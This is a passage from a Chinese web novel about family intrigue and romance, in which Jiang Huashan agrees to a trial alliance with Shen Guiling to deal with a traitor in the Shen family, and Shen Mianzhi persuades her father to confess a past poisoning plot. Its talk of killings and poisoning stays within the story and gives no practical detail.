莫然正在门外招呼保镖置放行李箱,安排妥当后转身进屋汇报,“姜小姐,行李我都清点过了,没有问题,只不过东西有点多,如果姜小姐不介意的话,等吃完饭我替您收拾。” “不介意。” 姜花衫不由多看了莫然一眼,沈归灵上哪找了个这么周全的助理?雷行那个憨宝跟她比简直就是弟弟。 忽然想到什么,她又往厨房看了一眼,之前沈执派了巩阿姨过来照顾她的饮食起居,现在人被抓走了,那不是还得安排一个阿姨? 莫然看出她的顾虑,笑着询问,“姜小姐饿了吗?想吃什么?我给您做。” 早上起来什么都没吃,又坐了一上午的车,姜花衫这会儿是真有些饿了,便也没客气,“都行,随便弄点吧。” 莫然点头,转身去了厨房。 在车上睡了三个小时,姜花衫现在精神抖擞,双手托腮看着画作出神。 昨晚她和傅绥尔把沈园所有人都排查了一遍,最后把第一个内鬼锁定在:沈渊、沈澈、沈让三个人之中。 但到了这一步,推理就无法进展了,因为她和傅绥尔产生了分歧,傅绥尔觉得凶手是沈渊,而她则更倾向于凶手是三房里的其中之一。 最终她们达成了一致意见,等沈眠枝的消息。 沈眠枝那么聪明,她们在顾虑什么她一定清楚,以她的性格一定会想想尽办法替自己的父亲正名,如果沈让真有什么不对劲,沈眠枝一定是第一个知道的。 她和傅绥尔都愿意赌,赌那个天台少女依旧是屠龙骑士。 “嗡——” 想得入神,口袋里的手机忽然发出震动。 姜花衫原以为是家里催报平安的消息,随手点开屏幕。 -【沈兰晞向您发送好友申请】 “……” 她愣了愣,皱眉紧簇盯着屏幕,看了许久还是没弄明白怎么回事? 太阳从西边出来了? 还是明天这个剧目就要完蛋了?! 这五年,从沈兰晞回沈园后,他们有电话,有家族群,但独独没有添加单独好友。 上一世,姜花衫舔着脸皮一次次发出好友申请,手指都要把屏幕戳烂了沈兰晞都没有反应,那个时候她还自欺欺人安慰自己,一定是沈兰晞太忙了所以没看见。 后来,一次庭聚会,她鼓起勇气当面提出添加好友的要求。 沈兰晞拽的二五八万,“我不喜欢不相干的人侵占我的领域,你如果有事可以打电话。” 莫名其妙又想起了上一世,姜花衫心里没由来冒出一团火,冷啧了一声,无情点了个拒绝。 * 兰园。 -【对方拒绝了您的好友申请】 空气像死了一般沉静。 沈兰晞一瞬不瞬盯着手机屏幕,眼里的眸光比千年冰川还冷。 不是忽视,而是直接选择拒绝,高止在心里默默大喊阿弥陀佛,看来菜鸡的求爱之路凶险万分啊。 良久,沈兰晞终于有了反应,抬起指尖准备按灭屏幕。 高止大惊,一把抢过他的手机,“少爷,别冲动!” 沈兰晞眉眼冷漠,“拿来。” 高止在心里嘁了一声,脸上却摆出一副恋爱导师的严肃模样,“少爷啊,追女孩子脸皮要厚一点,她拒绝她的,你可以再继续申请啊!点它个百八十遍烦死她,到时候姜小姐自然就会加你了,这就叫烈女怕缠郎!” “……”沈兰晞皱眉,这么厚颜无耻的操作又超出了他的领域范围。 高止恨铁不成钢,摇了摇头,“犹豫只会败北,败北可就没老婆了。” 沈兰晞微怔,神情略有些微妙,片刻后故作高冷从高止手里拿过手机。 * 南湾。 姜花衫改成单手托腮,望着窗外的风景发呆。 “嗡——” 手机屏幕突然亮起。 她低头看了一眼,顿时满脸不可思议。 -【沈兰晞向您发送好友申请】 又来? 不是,对面那个人确定是沈兰晞吗?不会是周宴珩捡了沈兰晞的手机在调戏她吧? 姜花衫继续点拒绝。 几乎是下一秒,对方再次发来好友申请。 “……” 这就有点看不懂了,她认识的沈兰晞在被拒绝第一次就绝不会有第二次伸手的可能了,难不成他真有什么重要的事跟她说? 姜花衫不觉又想起那晚在菊园,沈兰晞追着她表达善意,于是坚固的心墙小小瓦解了一块土砖。 她犹豫片刻抬起指尖,正准备点同意,身后忽然伸出一只手,毫无预兆点下了拒绝。 “……” 不用猜也知道是谁。 “沈龟灵!” 沈归灵站在姜花衫身后,轻微弯腰将人笼罩在身下,见她瞪着眼警告自己,他略有些无辜,“沈兰晞古板无趣,又喜欢约束你,难不成你还想加上好友听他天天念叨?” 姜花衫皱眉,她当然不想,但这也不是沈归灵能替她做决定的理由。 沈归灵神情微动,腰身又弯了几分,“我也是为你好,你要是不喜欢再加上就好了。” 他刚刚洗完澡,整个人散发着柚子清香,低头的角度正好挨着她的侧脸,水汽从发梢凝结掉落在姜花衫的耳侧,两人的目光无声交汇,水珠沿着耳后一路划过脖颈钻进了衣襟…… “……” 沈归灵轻轻滚动喉结,声音暗哑,“你要不要去洗个澡?” “……” 第536章 要我绑蕾丝吗?(补) 姜花衫看得入神,一时没听见,等她终于琢磨过来突然发现门不知什么时候已经打开了。 沈归灵就站在门的另一端,一脸诧异看着她。 姜花衫愣了愣,低头看着手里的棒槌,肉眼可见地有些僵滞。 沈归灵双手抱胸,瑞凤眼单挑,斯文端方,“没想到你是这种人……” “……”姜花衫额角跳了跳,站起身一脚把门踹上,转身发现手里还握着个棒槌,一时无语丢进了行李箱。 果然,对女王真是一点都不能大意,她是真什么都敢送。 “叩叩——” 门外又响起敲门声。 姜花衫闭了闭眼,反手拉开房门,“我就是这样的人,怎……” 莫然愣了愣,脸的笑停顿了一秒又恢复如初,“姜小姐,饭做好了。” 姜花衫语气一转,抿嘴笑了笑,“知道了。” 两人一前一后走进餐厅,沈归灵已经把汤都盛好了,若无其事向她打招呼,“先喝点汤吧?” 莫然说是简单做一点,但其实拿出了看家本领,四菜一汤,其中还有两个大菜,酱排骨和松鼠鳜鱼,美食当前,姜花衫瞬间就不把那点小尴尬放在眼里了。 刚坐好,沈归灵就端了一碗清汤官燕递给她,“尝尝莫助理的手艺。” 话都这么说了,姜花衫也不好拂了莫然的面子,接过汤盅转头看向一旁的莫然,“莫助理,一起吃吧,不用这么客气。” 莫然笑着推辞,“不用了,我刚刚在厨房已经吃过了,姜小姐您可能不知道,做饭的人做饭的时候就饱了,这会儿也吃不下。” “是吗?”姜花衫低头看着手里的燕窝,忽然就想到了张茹,她也是这样,每次都变着花样给她做吃的,但自己却吃的很少。 莫然见姜花衫眉宇间略有些恍惚,立马转移话题,“姜小姐,你们先吃,我先给您收拾行李。” “诶!”姜花衫赶紧拉住莫然,那十几个箱子都是沈娇塞给她的,里面是什么炸弹都不知道,万一…… 沈归灵用公筷夹了一块排骨放进她的碗里,语气温柔,“放心,莫助理是专业的。” 姜花衫嗤了一声,“我有什么不放心的。” 莫然见状点了点头,立马跑到门口搬箱子。 姜花衫探着脖子往门口看了看,又转头打量沈归灵,权当之前那一幕完全没有发生过,好奇道,“莫然不是你爸爸的人吗?怎么忽然跟着你了?” 沈归灵歪着身子向她靠近,故意压低声音,“我之前爬窗的事被雷行知道了。” 姜花衫顿时瞪大了眼睛。 “雷行劝我收手,还恐吓我要是被爷爷知道,我被抓起来沉塘。” 见她听的认真,沈归灵嘴角微弯,又靠近了几分,“他想拆散我,所以我换了他。” “……”姜花衫一脸无语,默默摆正身体低头喝汤。 沈归灵笑了笑,嫌弃也好、嗔怒也罢,只要是鲜活的她都觉得有趣。 “吃完饭想做什么?”他主动问。 姜花衫抬起头,一时没有想法。 原本她打算回房间整理思路的,但行李这么多,莫然一时半会儿也收不完。 见她没有主意,沈归灵再次主动放夹子,“一起抓内鬼?” 说到抓内鬼,姜花衫瞬间就精神了,她和傅绥尔推理了半天,还有三个嫌疑人,沈归灵的脑子就不错,说不定他能给她不一样的想法。 不过,这家伙有这么好心? 姜花衫斜睨打量他,“你是不是还有什么条件?” 沈归灵,漫不经心搅弄着眼前的燕窝,神色无害,“我当然是想联盟,但是总得先让你试用一次,万一不满意撤盟也可以。” “嗯。试用,总得让你知道我好不好用。” “……” 怎么回事,忽然就联想到了之前的那个棒槌。 姜花衫略有些不自然,清咳一声,凶巴巴,“那你赶紧吃。” 管他,试用就试用,万一时出了第一个叛徒她也不亏。 沈归灵看出她是外强中干,并不在意,又给她夹了块鱼肉,“急什么,吃东西要细嚼慢咽。” 姜花衫皱眉,不由多看了沈归灵一眼,不对劲,这家伙这么胸有成竹,难不成是真的知道谁是凶手?念此,她也没了别的心思,随意扒了几口便站起身,拿起桌上的湿巾擦了擦嘴,“我吃饱了。” 沈归灵放下筷子,跟着起身,“去哪谈?” 姜花衫想了想,指着玻璃隔间的书房,之前那个书房一直是沈归灵在用,后来搬过来里面堆满了颜料和画册,现在已经变成半个手绘室了。 沈归灵略有些遗憾,但也没有异议,跟着姜花衫进了书房。 两人一个坐在书桌的皮椅上,一个坐在画板前的高脚椅上,对立而望,一个缱绻温柔,一个严肃认真。 事关重大,姜花衫想了想,开门见山直接问道,“你是不是知道沈执背后的人是谁?” 沈归灵点头,没有丝毫拐弯抹角,“沈澈。” 果然是三房。 姜花衫眸底闪过一抹暗色,片刻又压了回去,“你凭什么说是沈澈,你有什么证据?” 虽然她已经猜到沈家大多数人都问题,但她必须要弄清楚每个人对应的支线是什么,因为只有了解叛徒们的剧情走向,她才有可能利用剧情改写最后的结局。 沈归灵,“我查到一笔沈澈和姚歌的账目往来,资金足足有三个亿,这还只是一个季度的分红。另外,你院里那个姓巩的阿姨来了南湾之后,一直利用外出买菜的便利去鱼档买毒,而鱼档老板的DP资源来源于南湾一家高级夜宴会所,那家会所幕后的老板也是姚歌。” 姜花衫眉头紧蹙,之前她偷偷去潮ClUb搜查就是想寻找沈澈贩毒的证据,但却一无所获。现在看来,是因为傅嘉明突然死了,所以上一世剧情也有了稍稍调整,沈澈变成潮ClUb的老板之后,他不能将不见光的生意放在自己的地盘,所以他的合作对象从傅嘉明变成了姚歌。 这就没错了,信息链闭环了。 姜花衫轻轻舒了一口气。 “这就信了?”沈归灵原以为她还会多问,没想到她丝毫不质疑他,弄得他满腹草稿毫无用武之地,“你就没别的什么要问了?” 姜花衫站起身,“没有了,试用结束~” 就这么走了?结束得猝不及防。 沈归灵想也没想,一把扣住她的手腕,“我还没说完。” “你还有情报?”也是,每个人的故事线都不一样,看到的位面和情节都不同,尤其沈归灵还是男主,剧目的大篇冠幅都会给他。 念此,姜花衫不由多了几分好奇,“你还知道什么?” 沈归灵看着她的眼睛,清澈眸光好似一眼就能看到底,但他知道这只是表象,其实谁都不曾看透过她,她的眸底还藏着深渊,就像她的心里还藏着另一个世界。 “我还知道,你有秘密。” 姜花衫眼睫微动,眸光平缓从眼底划过,“秘密?这不是废话吗?只要是个人,心里总会藏着点东西,我也是人,当然有秘密。” 沈归灵摇头,扣着她的手将她拉到跟前,“你知道我说的不是这个。” 姜花衫笑了笑,眼底平静无波,“我不知道。沈归灵,不要用你自以为是的聪明揣度我。” 沈归灵站起身,“我是不是自以为是你比我清楚,我自诩聪明,但我的十三岁还在受制于人,你呢?赶生母出沈园,助沈家识破傅家阴谋,助傅绥尔涅火重生,替爷爷留住沈清予;十五岁就更了不得了,助沈眠枝逆风翻盘、助苏妙重掌人生、助周绮姗得偿所愿……” 沈归灵早就知道,她把自己包裹的很严实,一旦发现有人企图入侵自己的领地便会在心墙筑满钢刺,就像她种在菊园墙外的荆棘一样。 但他也了解自己,一旦他下了决心,院墙的荆棘拦不住他,世俗的伦理也拦不住他,甚至名利权势也拦不住他,所以哪怕他知道会惹怒姜花衫他也还是想试一试,因为只有撕开她的假面,他才有可能成为她心里的人,就像爷爷一样。 姜花衫皱眉,眼里的情绪没有一丝波澜,“你到底想说什么?” 沈归灵迎上她的目光,微微垂眸,带着几分诱哄和商量,“我想说,你一个人多孤单,让我陪着你吧。” 姜花衫眸光微滞,有那么不瞬间她好像听不懂陪着是什么意思。 可是,真的不懂吗? 也不是,是不信。 爷爷说过这个世界上,唯一能永远陪着自己的只有自己。 沈归灵一直看着她的眼睛,哪怕漂亮的桃花眼里都是假象,聪明的他还是能从亮起的一缕星光里捕捉到了一丝破绽。 他再次放低姿态,语气低到没边,“姜花衫,不管你经历过什么,相信我一次,就这一次。” 见她眼底的情绪不停在摇摆,沈归灵拉住她的手放在自己的心口,低声蛊惑,“你那么勇敢的一个人,怎么会连尝试的勇气都没有呢?我们就试一试,就一次,只要你不喜欢就喊停。” 姜花衫摇头,“可是我们不可能。” 上一世,她和沈归灵没有任何交集,虽然这已经不是上一个剧目了,但是主线大差不差。 沈归灵以为她说的是兄妹之间的关系,不在意道,“谁规定了可能还是不可能,只要我们愿意,没有人还能掌控我们的选择。” 说者无心,听者有意。 姜花衫眼里的眸光又亮了几分,说的也是,她竭尽所能摆脱剧目就是为了掌控自己的人生,她的人生要怎么选择,根本不用顾虑上一世的结局,反正结局一定会被改变。 “你说的对,没有人能掌控我的选择。”她笑了笑,桃花眼里云雾散开,满目璀璨,“所以你也不能,别想蛊惑我,这一招上次就用过了。沈归灵,用点新鲜的。” 说罢,一把甩开他的手,转身就要走。 沈归灵极爱她恣意明媚的模样,被拆穿也丝毫没有生气,从身后搂住她的腰将人半圈在怀里,“喜欢什么新鲜的?要我绑蕾丝吗?” “……” 第537章 试用期(补齐) 干大事的女人意志如钢铁,怎么会被这种小情小爱绑住脚? 姜花衫细细轻喘,看似一折就断的手腕不容抗拒抵住沈归灵的肩膀。 沈归灵看出了她的意图,架着双手撑在姜花衫头顶两侧,与肩膀的推力形成了一股抵抗。 这世界上没有不咬钩的鱼,只有不够吸引的鱼饵。 沈归灵看着她的眼睛,在她拒绝之前主动开口,“我帮你杀了沈澈?” 杀谁?姜花衫愣了愣,略有些不可思议,这家伙是杀上瘾了? 沈归灵眼神温柔,低头整理着她脸颊的碎发,语气随意,“你现在已经知道沈澈是沈执背后之人,我猜你接下来一定会有行动。当初你撺掇周宴珩杀沈执无非是不想让爷爷知道这件事与你有关,沈执尚且如此,就更不用说沈澈了。” “这跟你有什么关系?” 姜花衫皱眉,想拍下他的手,却被沈归灵一把扣在手里反压回去。 “当然有关系。你不想让爷爷知道跟你有关,就必然要跟别人合作。在鲸港有本事杀得了沈澈又愿意为你所用的屈指可数,沈兰晞倒是有这个本事,但他自幼受沈家族训长大,沈澈眼下所做之事并未超出他的承受范围,所以他一定会留沈澈一条命。” “周宴珩倒是个好人选,但他野心勃勃,跟他合作无异于与虎谋皮,你还得时时防备被他咬上一口。” 姜花衫总算明白怎么回事了,搞了半天还在推销自己,她挑眉,故意道,“那沈清予呢?” 沈归灵扯了扯嘴角,“鱼挺多,他也不行,你当初之所以找上周宴珩就是不想沈家人牵扯进来,不是吗?” “嗯。”姜花衫理直气壮点了点头,“所以你也不行,因为你也是沈家人。” 她可不想因为处理沈澈的事为以后三傻分裂埋雷,这就得不偿失了。 “不。”沈归灵的手指沿着手腕慢慢上移,掌心摩挲的她的指尖,低声纠正他,“我行,也只有我行。” “……”姜花衫面无表情看着他。 沈归灵被她逗笑了,眉眼顿时舒展开来,“想哪去了,我是说真的,我可以。” 姜花衫斜眼,“可以什么?你不是沈家人?” 这个问题其实她心里早就有答案了,故意这么问就是想看看沈归灵对沈家到底是什么态度?他是真的把这当成归宿,还是他一步登天的踏板? “我当然是沈家人。”沈归灵的脸上看不出任何破绽,眸底燃起的一簇幽火看上去有些阴险,“所以,让沈谦帮我们杀怎么样?” 若姜花衫细心一点很容易就会发现这个‘我们’用词有多险恶,但她此刻完全无暇顾及这种小事,两眼发光,“好主意啊!” 沈谦已经是明坏了,不用想爷爷的死一定有他的推波助澜,只不过眼下他身居高位,若他出了什么事沈家在政界的地位也会受到威胁,所以,要处理沈谦一定要等沈家三代稳住脚跟。 如果能让朽死的沈家二代可以自相残杀,不仅可以把自己摘离干净,还能打破他们未来联盟谋害爷爷可能,这个主意好啊!她之前怎么就没想到呢? 姜花衫露出比沈归灵还阴险的表情,“怎么杀啊?” 沈归灵垂眸,修长的指尖钻进姜花衫的指缝,掌心相抵,“选我。” 就知道这家伙没安好心。 看出姜花衫的迟疑,沈归灵以退为进,“试一次,就一次,要是你不喜欢,我以后绝对不会再提。” 姜花衫指尖微动,眸光泛起微波片刻又归于平静。 良久,另一只抵着肩膀的手,手指微弯,由推改成了抓,拽着沈归灵的衬衣拖到面前,“可以试。” 沈归灵深邃的眸光骤然亮起一整片银河,抵着她的额头想亲。 姜花衫偏头,撩眼,“我还没说完,不是是试用期。” 沈归灵根本不在乎这些细节,“好。” 应下又想亲。 他现在满脑子就是想亲她。 姜花衫一把抵住他的下巴,“试用期有条件的。” 沈归灵看着她,“好。” 她都还没说,好什么好? 姜花衫,“试用期期间,禁止举止亲密,只能谈正事。” 眼下想办法除了沈澈才是关键,这个时候卿卿我我只会影响她拔剑的速度。 沈归灵收敛了笑意,盯着她看了一会儿,慢慢起身往后退了一步。 “好。” 第538章 沈眠枝的领悟 与此同时,春园。 沈让在院门口转悠了许久,想入园又有些摇摆不定,就在他来来回回反复打转时,春园的门突然从里打开,沈眠枝慢慢走了进来。 “爸爸,您找我?” 沈让连忙收敛神情,堆着笑容上前,“今天怎么没有去学校?” 沈眠枝,“我请假了,特意在家里等您。” 沈让嘴角的笑容略微凝固,眼神不定看着眼前的女孩儿,“你……特意在这等我?” “嗯。”沈眠枝点头,明媚的小鹿眼格外平静。 沈让不自在摆动脖子,目光四处摇摆又落回沈眠枝身上,“枝枝,你……是不是有话跟我说?” “嗯。”沈眠枝一只脚跨出门槛,语调一如往常温柔,“爸爸,进来说吧。” 沈让略有些怔忡,思忖片刻摇了摇头,“枝枝,还是算了,爸爸突然想起还有别的事。”说罢,装出一副很急着走的样子。 “爸。”沈眠枝一把拽住他的衣角,再次邀请,“别装了,我们是父女,躲是躲不掉的。” 沈让背脊僵硬,挣扎许久才鼓起勇气回头,恍然间,他仿佛看到了那个抱着小熊娃娃哭着让他不要走的小女孩儿。 女儿永远是他心底的柔软,沈让想了想,终是没有拒绝,摆摆手,“进屋。” 春园的布景虽不如菊园梦幻华美,但处处透着生机勃勃,也颇有一番诗情画意。 庭院中间种了一株葡萄树,眼下已经过了果实收获的季节,叶片发黄凋落,阳光穿过密密麻麻的藤条落下斑驳的浮光。 沈眠枝沐浴在半光里,指着葡萄架下的茶椅,“今年葡萄长势好,我酿了好多葡萄酒,爸爸要尝尝吗?” 沈让略带怀恋看着眼前的葡萄架,才止住的酸意毫无预兆成倍翻涌。 记忆里的那个人也喜欢吃葡萄,尤其是怀了孩子之后整天都闹着要吃,后来他就在他们的小家里种了一颗葡萄树。 沈眠枝倒上提前准备好的葡萄酿,沈让双手捧过,盯着清透的汤面看了许久,最后重重叹息了一声放下茶盅,“枝枝,有什么你就问吧,倒也不用灌醉爸爸。” 沈眠枝笑了笑,“我哪有这心思,不过就是想孝敬您。” 沈让看了她一眼,端起酒杯小酌了一口,味道清甜甘烈,有几分记忆里的味觉。 他略微有些失神。 以沈让今时今日的阅历,露出这样未经管理的表情实属有些失态。 良久,他放下茶杯,“说吧,想跟我讨论什么?” 沈眠枝,“有几个问题一直困扰着我,怎么都想不明白,所以想亲自向爸爸求证。” 沈让闭眼,“什么问题?” “为什么要杀菊园的管事,爸爸你明明就跟沈执没有关系。” 沈让豁然抬眸,一言不发看着她。 沈眠枝,“我在您派遣去襄英的人员里安插了眼线。” 沈让怔愣,一时间也不知是该哭还是该笑,沈眠枝接手暗堂分舵不过短短两年,竟然已经长本事到在他身边安插眼线了。 他突然有些好奇,“枝枝,你怎么知道和沈执勾结的人不是我?” 沈眠枝,“沈园的安全一直以来都是由爸爸和沈执共同守护,若你们真是一伙的,这么大的底牌怎么会用来对付没有任何继承权的衫衫?” 沈让眼里略有几分欣慰,正要点头,沈眠枝突然说道,“兰晞哥他们一定是用这个理由排除爸爸的,但我不是,我有别的依据,作为女儿的依据。” “我的爸爸绝不会恶劣到对曾经给予过我温暖的朋友下手。” 在她很小的时候,沈让因为要外出执行任务总是早出晚归,因为觉得缺失陪伴,沈让会给她买了好多好看的玩偶娃娃,其中有一个小熊玩偶她很喜欢,每天晚上睡觉都抱着。 等她长大一点后,明白了玩偶和朋友的区别,小熊玩偶便被她抛之脑后。 但有天,她无意中看见五大三粗的父亲拿着绣花针在缝补破损的小熊玩偶,她很费解,并告诉沈让,她已经不需要小熊的,它只是一个玩具,并不是真正的人。 沈让当时是这么跟她说的: “枝枝,人这一生会有很多朋友,大多数朋友都阶段性,他们只会陪伴你一段旅程,就像这只小熊,它陪伴了你的懵懂,虽然它不具备生命,但你不能否认它曾经存在的价值。” “就像你终将会和某个阶段性的朋友告别,你不能因为他缺失了你的未来,就否定他存在的曾经。” “我第一次对朋友的理解来源于您,能说出这样的话,我的爸爸又能坏到哪里去呢?”这就是她作为女儿的依仗。 沈让神色复杂,眼角微微有些泛红。 沈眠枝见状,小声试探,“爸爸,你能不能告诉我,您为什么要这么做?你是不是有什么不得已的苦衷?” “苦衷?”沈让细细品味这两个字,“没有不得已,不过是个人选择罢了。” 他极为萧瑟叹了口气,正色道,“枝枝,有些事我已经做了选择回不了头,你就当什么不知道,你现在什么都好,爸爸也不用担心……” “爸爸是要与我断绝父女情分吗?”沈眠枝轻声质问。 沈让瞪大了眼睛,一时有些错愣,“枝枝,我也是为了你好,有些事你知道了不如不知道,不知者不怪。” 沈眠枝眸色坚定,“爸爸是不是忘了,我向爷爷申请入暗堂时说过什么?” -【“……我也想做英雄,我想拿起这世间最锋利的剑去守护终将有天会迟暮的将军。爸爸,我不想做公主,我想做屠龙的骑士。”】 恍然间,沈让又想起了两年前的那个仲夏夜,那个信誓旦旦要做屠龙勇士的少女。 这可把沈让愁坏了,沈眠枝这几年的蜕变所有人有目共睹,他已经不敢轻视她的守护之情。 可要是说了,被牵扯进来的人只会越来越多…… 沈眠枝看出了沈让的挣扎,见他迟迟不开口只能使出最后的杀手锏,“如果您实在不愿意说,那我就只能去请教四伯了。” “?!”沈让眉心跳了跳,眸色惊颤,“你……你怎么知道和沈执勾结的是你四伯?” 沈眠枝神色淡然,“原本只是怀疑,现在确定了。” 在沈眠枝的推理结构中,优先排除了自己的父亲和沈娇,至于叛徒到底是沈渊还是沈澈她还有些拿不准,刚刚那番询问也不过是为了诈沈让,没想到一诈就有了答案。 “……”沈让嘴角抽搐,以前娇娇软软的小孩儿怎么变得这么老奸巨猾了。 得知叛徒是沈澈,沈眠枝迅速在脑海中搭建相关联的信息网。 片刻后,她眉头紧锁,又抛出第二个问题,“父亲没有参与秋园猎杀,却要帮着四伯收拾残局,为什么?” 沈让张了张嘴,支吾了半天也不知道该怎么说。 沈眠枝一边观察沈让的脸色,一边试探,“是四伯主动找上了您?父亲与四伯、姑姑的感情一直很好,是不是四伯知道事情要败露求您出手帮忙?” 沈让正要点头。 “不对。”沈眠枝自问自答,当即摇头否认,“以父亲您的性格,就算顾念兄弟之情也只会替四伯向爷爷求情,犯不着做杀人灭口的勾当。” 突然想到什么,沈眠枝脸色晦涩,慢慢抬头看向沈让,“四伯威胁了您,您有把柄在他手里,还是不得不屈服的把柄?” 沈让心下一震,他万万没想到沈眠枝三言两句就找到了事情的关键点。 从他踏入春园之后的每一句话,她都揣摩得透彻至极。之前他还有些费解,为什么老爷子会破格同意沈眠枝进暗堂,现在他总算明白了,原来老爷子早就看得明明白白,反倒是他这个父亲过于低估了女儿的能耐。 沈眠枝并不知道自己带给沈让的震撼有多大,观其面相便知道自己又猜对了,表情更加凝重。 “爸爸,事已至此,您难道还要瞒着我吗?您也看到了,我做不到‘不知者不怪’。” 沈让陷入两难,沉默许久终于开口,“八年前,沈年被老爷子赶出A国的事你还记得吗? ” 饶是沈眠枝心思再缜密,也没想到沈让要说的事竟然会和沈年扯上关系,那可是第一个被家族驱逐的人。 沈让,“所有人都以为老爷子是痛恨沈年屡教不改才把他赶出A国的,其实这件事另有隐情,沈年因不满你爷爷要他出国避祸,受人挑拨给你爷爷下了毒,当时若非孟医生及时发现,你爷爷只怕凶多吉少。” 闻言,沈眠枝惊出了一身冷汗,细思极恐的颤栗瞬间涌上心头,“这跟爸爸你有什么关系?” 沈让顿了顿,“我…就是那个挑拨沈年的人。” “!”沈眠枝其实已经猜到了,但听见沈让亲口承认时还是有些接受不了,“不可能……怎么会?……为什么?为什么啊爸爸?” 沈让不忍面对女儿的失望,强撑着体面,“我放不下你母亲,更无法面对你。我也想放下身上的血衣陪陪你,哪怕一天都好。可是我不能,所有人都告诉我,这是我欠沈家的,我必须要还。” “一开始我也这么认为,所以我任劳任怨,可他们贪得无厌!即使我的女儿被他们压碎了脊梁,他们还要戳着我的脊梁说,这是我欠沈家的。可我欠他们什么?最后失去妻子是我,失去母亲的是我的孩子。” “后来我从任劳任怨变成了满腹怨恨,我想挣脱沈家的枷锁,恶念一旦滋长人性就经不起考验。我看出沈年对老爷子的恨,便借机挑唆他给给老爷子下毒,恰巧那日沁园由暗堂值班,所以很轻易就换了老爷子饮用的茶水。” 沈眠枝慢慢垂下眼睑,一时不知道该用怎样的情绪去面对这一切。 她原本以为这里面会有什么误会,或者顶多是沈让昏头吞并了暗堂势力,但现在的的确确存在真正的暗杀。 一个是将她捧在手心的爸爸,一个是从未放弃她的爷爷,这让她怎么选? 沈让抬眸,静静看着穿梭在葡萄架下的光影,语气平静了不少。 “沈年被罚离开A国后,一直用这件事作为把柄向勒索钱财,他胃口大,为了堵住他的嘴,我不得已挪用了你小姑姑投给暗堂的运作资本,原本以为那些钱能让沈年消停几年,没想到他竟然和你四伯也有牵扯。” “他将下毒一事告诉了沈澈,沈澈立马找上了我,如果我不帮着灭口,当年的事就会被沈家所有人知道,我没得选,所以只能听他摆布。” “不!你可以选择!” 沈眠枝回得斩钉截铁。 她忽然想起十七岁那年的天台,她牵上宿命的手,混沌的意识冲破枷锁,那是她第一次那么直观感受这个世界。 她想起她第一次和萧澜兰据理力争,想起姜花衫说她是万里挑一,想起那个璀璨星夜她盛情邀请的自己。 所有的画面如同破碎的银镜折射出斑斑点点的每一幕。 那个时候,她也告诉自己,我没有选,因为她本身就是这个世界的傀儡,傀儡从被塑造出来的那一刻就已经被打上了标签。 但,真的没有选吗? 高架的岸堤边,她选择接过姜花衫递来的药;意识到英雄将迟暮,她选择拿上尖刀做屠龙勇士,被精神麻痹时,她选择牵上宿命的手挣脱枷锁…… 她的每一步都在选择,因为足够有勇气,所以她获得了幸运,她遇见了姜花衫。 福至心灵,沈眠枝缓缓开口,目光温柔,“爸爸……这世界上最大的错误就是自己告诉自己‘我没得选择’,它是麻痹你心智的开始,也是你作恶时为自己找的借口。我们是人,不是随风飘散的种子,落在哪里就在哪里生根,人可以决定自己的根在哪里?” 她顿了顿,这一刻她好像明白了什么是‘善’,它与恶对抗,引人生出无限对抗错误的勇气。 “父亲,一次错要用一生错去掩饰,不值当的,我们去向爷爷坦白吧。” 话音刚落,她心里那面破碎的镜子沿着裂痕自动修复,破镜重圆、完好无缺。 …… 第539章 共创剧目 【叮——】 【剧目提示:人物角色沈眠枝突破自我觉醒极限,感悟生命真谛之「善意」,现已为沈眠枝开启个人单独剧目,若在终章剧目审判存活,人物可斩断枷锁,重开剧目】 鲸港下午的太阳被钢筋水泥遮去了一半,远处的海港在一片波光粼粼中天水一色。 姜花衫指尖一顿,笔杆从手中脱落,黄色的颜料掉进浑浊的洗笔筒拖拽出一抹不合群的灿烂。 她刚刚听见了什么? 可重开剧目?! 皮下的血液突然沸腾,姜花衫的心头忽然涌现出一种难以言喻的兴奋,这种新潮彭拜和剧目对抗时的兴奋完全不同,她甚至有一点点想哭,是高兴的。 之前她一直以为,只要沈眠枝最后一个标签掉落就能迎来新生,但这两年,不管她们怎么努力,最后一个标签就是无法挣脱。后来,她又怀疑是不是沈眠枝的剧情还没有来? 但现在她好像就明白了,她遇见四个炮灰里,傅绥尔和苏妙在上一世的剧情里只是下场凄凉但并没有死亡,沈眠枝和周琦姗则不同,她们是真正的消陨。 若是把她们经历的这一切看成是一场电影,沈眠枝和周琦姗在完成了她们的剧本后就杀青了,后续也根本没有不会再有她们的剧情,为了让维持剧目稳定,剧目之门从一开始就没有想过让她们活,这也是为什么,沈眠枝永远摆脱不了最后一个标签的原因。 她为什么会新潮彭拜热泪盈眶,因为她看见了一个新的生命在萌芽。 虽然她不知道沈眠枝现在在经历什么,但她知道,她一定很努力在改变什么,她触发了思考,就像十三岁的夏天,傅绥尔放在襄英的老宅思索她为何存在一样? 生命一旦有了思考,「它」就和周围所有的事物有了区分。 可重开剧目,别人不懂这句话的含金量?但她懂,这是沈眠枝为自己争取的一线生机,只要赢了,剧目世界将为她一个人重新生成新的剧本,她就能活下来。 破茧成蝶,沈眠枝真正做到了。 【叮——】 【当前人物姜花衫,是否加入终章剧目完成共创?】 【提示:终章剧目凶险万分,当前人物有且仅有一次死亡豁免权。】 还能共创? 姜花衫眸色微亮,这么说她可以介入枝枝的剧情帮她度过难关? 这事若换在两年前,她一定会权衡利弊,因为剧目的提示已经很明显了,沈眠枝的终章剧目里,她不是主线的女主所以没有不死这条BUG,也就是说,万一失败,她和沈眠枝有可能永远回不来。 但现在,她和沈眠枝已经是交付真心的朋友了,她要是怕死就不会一个人回来, -【加入】 这样,枝枝就不用孤军奋战。 姜花衫眼里泛着闪烁的星光,心念一起,提笔在已经完成的画作上继续创作。 沈归灵斜靠在过道的墙面,眸色深邃看着颤抖的笔尖在画布上放肆游走,他已经看保持这个姿势看了好一会儿了,目睹了姜花衫从惊颤到兴奋再到从容的整个过程。 画布上的翻腾的海面忽然涌现了一群带着绿色荧光的彩蝶,它们停落在被掀起的船桅上,汹涌的浪花上,还有一群潜入了月光照不进的深海。 沈归灵不懂画,但他懂情绪。 从进屋看见那副画作,他就知道画里藏着姜花衫的整个世界,有希冀、又挣扎、有死亡、有愤怒,但现在,他又看见了不一样的东西,有温柔,是即使大海残酷也会回以拥抱的温柔。 莫然从房门出来,抬眼便看见沈归灵一言不发倚着墙角,她正要开口,沈归灵回头对她做了个噤声的手势,莫然会意,朝沈归灵点了点头,放轻了脚步蹑手蹑脚出了大门。 快走快走!一个优秀的牛马人是不能耽误老板和姜小姐玩游戏的。 